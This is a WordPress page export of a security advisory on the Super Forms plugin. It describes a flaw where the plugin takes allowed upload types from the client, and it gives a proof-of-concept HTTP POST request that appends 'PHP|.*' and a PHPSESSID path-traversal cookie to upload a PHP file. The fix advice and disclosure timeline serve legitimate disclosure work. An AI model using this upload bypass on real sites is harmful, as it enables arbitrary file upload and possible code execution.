{"id":16601,"date":"2021-07-08T11:20:39","date_gmt":"2021-07-08T09:20:39","guid":{"rendered":"https:\/\/herolab-usd.formwandler.rocks\/security-advisories\/usd-2019-0003\/"},"modified":"2022-02-15T09:16:00","modified_gmt":"2022-02-15T08:16:00","slug":"usd-2019-0003","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2019-0003\/","title":{"rendered":"usd-2019-0003"},"content":{"rendered":"<p>[et_pb_section fb_built=\"1\" _builder_version=\"4.9.4\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\" global_colors_info=\"{}\"][et_pb_row _builder_version=\"4.9.4\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.4\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" global_colors_info=\"{}\"]<\/p>\n<h1 class=\"h-custom-headline usd-small-letters h2\"><span>usd-2019-0003 | feeling4design Super Forms \u2013 Drag &amp; Drop Form Builder\/1.6.1 \u2013 4.4.8<\/span><\/h1>\n<p><span><\/span><br \/><strong>Advisory ID<\/strong><span>: usd-2019-0003<\/span><br \/><strong>CVE Number<\/strong><span>: N\/A<\/span><br \/><strong>Affected Product<\/strong><span>: Super Forms<\/span><br \/><strong>Affected Version<\/strong><span>: 1.6.1 \u2013 4.4.8<\/span><br \/><strong>Vulnerability Type<\/strong><span>: Missing Server Side File Type Validation<\/span><br \/><strong>Security Risk<\/strong><span>: Medium<\/span><br \/><strong>Vendor URL<\/strong><span>: <\/span><a href=\"https:\/\/github.com\/feeling4design\" target=\"_blank\" rel=\"noopener\">https:\/\/github.com\/feeling4design<\/a><br \/><strong>Vendor Status<\/strong><span>: Fixed (Version 4.5.3)<\/span><br \/><strong>Note<\/strong><span>: We could still exploit the vulnerability<\/span><\/p>\n<h3><\/h3>\n<h3>Description<\/h3>\n<p><span>Due to the lack of validation on the server side, an attacker can add an arbitrary file extension and upload arbitrary files accordingly. This vulnerability when combined with the vulnerability \u201ePath Traversal in File Upload via PHPSESSID Cookie\u201c described in <\/span><a href=\"\/security-advisories\/usd-2019-0002\/\">usd-2019-0002<\/a><span> can lead to Remote Code Execution.<\/span><\/p>\n<p><span><\/span><\/p>\n<h3>Proof of Concept<\/h3>\n<p>The upload of arbitrary file extension was tested on a customers instance of wordpress + super forms.<\/p>\n<p>Steps to reproduce:<br \/>\u2013 Setup wordpress with super forms and create a form containing an upload form<br \/>\u2013 Before submitting this form, add the intended file extension to accept_file_types<\/p>\n<p>The acceptable file types are part of the http request. By default, it is like \u201ajpg|jpeg|<br \/>png|gif|pdf|PDF|JPG|JPEG|PNG|GIF\u2018, but we were able to add PHP or .* in this field.<br \/>The related php in file uploads\/php\/index.php:<\/p>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" global_colors_info=\"{}\"]if( (!isset($_REQUEST['max_file_size'])) || (!<br \/>\nisset($_REQUEST['accept_file_types'])) ) {<br \/>\nexit;<br \/>\n}<\/p>\n<p>error_reporting(E_ALL | E_STRICT);<br \/>\nrequire('UploadHandler.php');<br \/>\n$max_file_size = $_REQUEST['max_file_size'];<br \/>\n$accept_file_types = $_REQUEST['accept_file_types'];<br \/>\n$strip = array('php', 'phtml', 'php3', 'php5', 'phps', 'shtml', 'asa', 'cer');<\/p>\n<p>foreach($strip as $v){<br \/>\n$accept_file_types = str_replace($v,'', $accept_file_types);<br \/>\n}<\/p>\n<p>$upload_handler = new UploadHandler(array(<br \/>\n'accept_file_types' =&amp;gt; '\/\\.(' . $accept_file_types . ')$\/i',<br \/>\n'max_file_size' =&amp;gt; $max_file_size<br \/>\n));<\/code><\/pre>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" global_colors_info=\"{}\"]<\/p>\n<p><span>To upload the usd.php we used the following HTTP POST request:<\/span><br \/><span>Please note the added \u201ePHP|.*\u201c<\/span><\/p>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" global_colors_info=\"{}\"]POST \/wp-content\/plugins\/super-forms\/uploads\/php\/ HTTP\/1.1<br \/>\nHost: XXXXXXXXXXX<br \/>\n[...]<br \/>\nContent-Type: multipart\/form-data; boundary=---------------------------100830798400009382880005694<br \/>\nCookie: [some cookies] PHPSESSID=..\/<br \/>\nConnection: close<br \/>\n-----------------------------100830798400009382880005694<br \/>\nContent-Disposition: form-data; name=\"accept_file_types\"<br \/>\njpg|jpeg|png|gif|pdf|PDF|JPG|JPEG|PNG|GIF|TXT|PHP|.*<br \/>\n-----------------------------100830798400009382880005694<br \/>\nContent-Disposition: form-data; name=\"max_file_size\"<br \/>\n8000000<br \/>\n-----------------------------100830798400009382880005694<br \/>\nContent-Disposition: form-data; name=\"files[]\"; filename=\"usd.php\"<br \/>\nContent-Type: text\/plain<br \/>\n&amp;lt;?php echo \"Dies ist ein Pentest!\"; ?&amp;gt;<br \/>\n-----------------------------100830798400009382880005694--<\/code><\/pre>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" global_colors_info=\"{}\"]<\/p>\n<div class=\"e16902-22 x-container max width\">\n<div class=\"e16902-23 x-column x-sm x-1-1\">\n<h3>Fix<\/h3>\n<p><i>Disclaimer<\/i><br \/>The suggested fix is just a temporary workaround and not a final fix that ensures the full security of this wordpress plugin. It is intended to support the developers to close this vulnerability.<\/p>\n<p>The vulnerabilities we found are not yet fixed by the latest version of this plugin. One option is to turn it off.<\/p>\n<p>Another option is to apply the following temporary fixes:<br \/>In \/uploads\/php\/index.php do not assign $max_file_size and $accept_file_types from user input $_REQUEST[\u201aaccept_file_types\u2018] to limit the allowed file extensions to the intended. For Example, fetch both values from a configuration file instead from user input.<\/p>\n<h3><\/h3>\n<h3>Timeline<\/h3>\n<ul>\n<li>2019-01-25 First Contact request via contact form to: https:\/\/codecanyon.net\/item\/super-forms-drag-drop-form-builder\/13979866\/support<\/li>\n<li>2019-02-05 Vendor releases version 4.5.3 with a supposed fix. We could still exploit the vulnerability. (related: Changelog on https:\/\/codecanyon.net\/item\/super-forms-drag-drop-form-builder\/13979866)<\/li>\n<li>2019-07-31 Security advisory released<\/li>\n<li><\/li>\n<\/ul>\n<h3><\/h3>\n<h3>Credits<\/h3>\n<p><span>This security vulnerabilities were found by Tim Kranz and Matthias G\u00f6hring of usd AG.<\/span><\/p>\n<\/div>\n<\/div>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>usd-2019-0003 | feeling4design Super Forms \u2013 Drag &amp; Drop Form Builder\/1.6.1 \u2013 4.4.8 Advisory ID: usd-2019-0003CVE Number: N\/AAffected Product: Super FormsAffected Version: 1.6.1 \u2013 4.4.8Vulnerability Type: Missing Server Side File Type ValidationSecurity Risk: MediumVendor URL: https:\/\/github.com\/feeling4designVendor Status: Fixed (Version 4.5.3)Note: We could still exploit the vulnerability Description Due to the lack of validation on the [&hellip;]<\/p>\n","protected":false},"author":96,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-16601","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16601","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/96"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=16601"}],"version-history":[{"count":0,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16601\/revisions"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=16601"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}